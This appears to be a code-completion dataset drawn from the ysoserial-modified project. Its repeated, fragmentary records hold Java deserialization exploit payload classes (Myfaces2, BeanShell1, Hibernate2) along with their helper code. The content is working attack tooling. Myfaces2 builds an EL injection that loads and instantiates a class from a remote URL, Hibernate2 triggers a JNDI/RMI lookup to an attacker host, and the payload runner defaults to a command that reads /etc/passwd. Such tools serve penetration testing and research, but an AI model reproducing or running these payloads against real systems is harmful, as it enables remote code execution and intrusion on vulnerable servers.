// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/Myfaces2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
int sep = cmdHelper.getCommand().lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = cmdHelper.getCommand().substring(0, sep);
String className = cmdHelper.getCommand().substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception { | PayloadRunner.run(Myfaces2.class, args); |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/BeanShell1.java | // Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; | package ysoserial.payloads;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" }) | // Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/BeanShell1.java
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" }) | public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/BeanShell1.java | // Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; | package ysoserial.payloads;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
| // Path: src/main/java/ysoserial/payloads/util/Reflections.java
// @SuppressWarnings ( "restriction" )
// public class Reflections {
//
// public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
// Field field = clazz.getDeclaredField(fieldName);
// if (field != null)
// field.setAccessible(true);
// else if (clazz.getSuperclass() != null)
// field = getField(clazz.getSuperclass(), fieldName);
// return field;
// }
//
// public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// field.set(obj, value);
// }
//
// public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
// final Field field = getField(obj.getClass(), fieldName);
// return field.get(obj);
// }
//
// public static Constructor<?> getFirstCtor(final String name) throws Exception {
// final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
// ctor.setAccessible(true);
// return ctor;
// }
//
//
// public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
// }
//
// @SuppressWarnings ( {"unchecked"} )
// public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
// throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
// objCons.setAccessible(true);
// Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
// sc.setAccessible(true);
// return (T)sc.newInstance(consArgs);
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/BeanShell1.java
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
| public PriorityQueue getObject(CmdExecuteHelper cmdHelper) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/Hibernate2.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl; | package ysoserial.payloads;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
| // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/Hibernate2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
package ysoserial.payloads;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
| public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/Hibernate2.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl; | package ysoserial.payloads;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
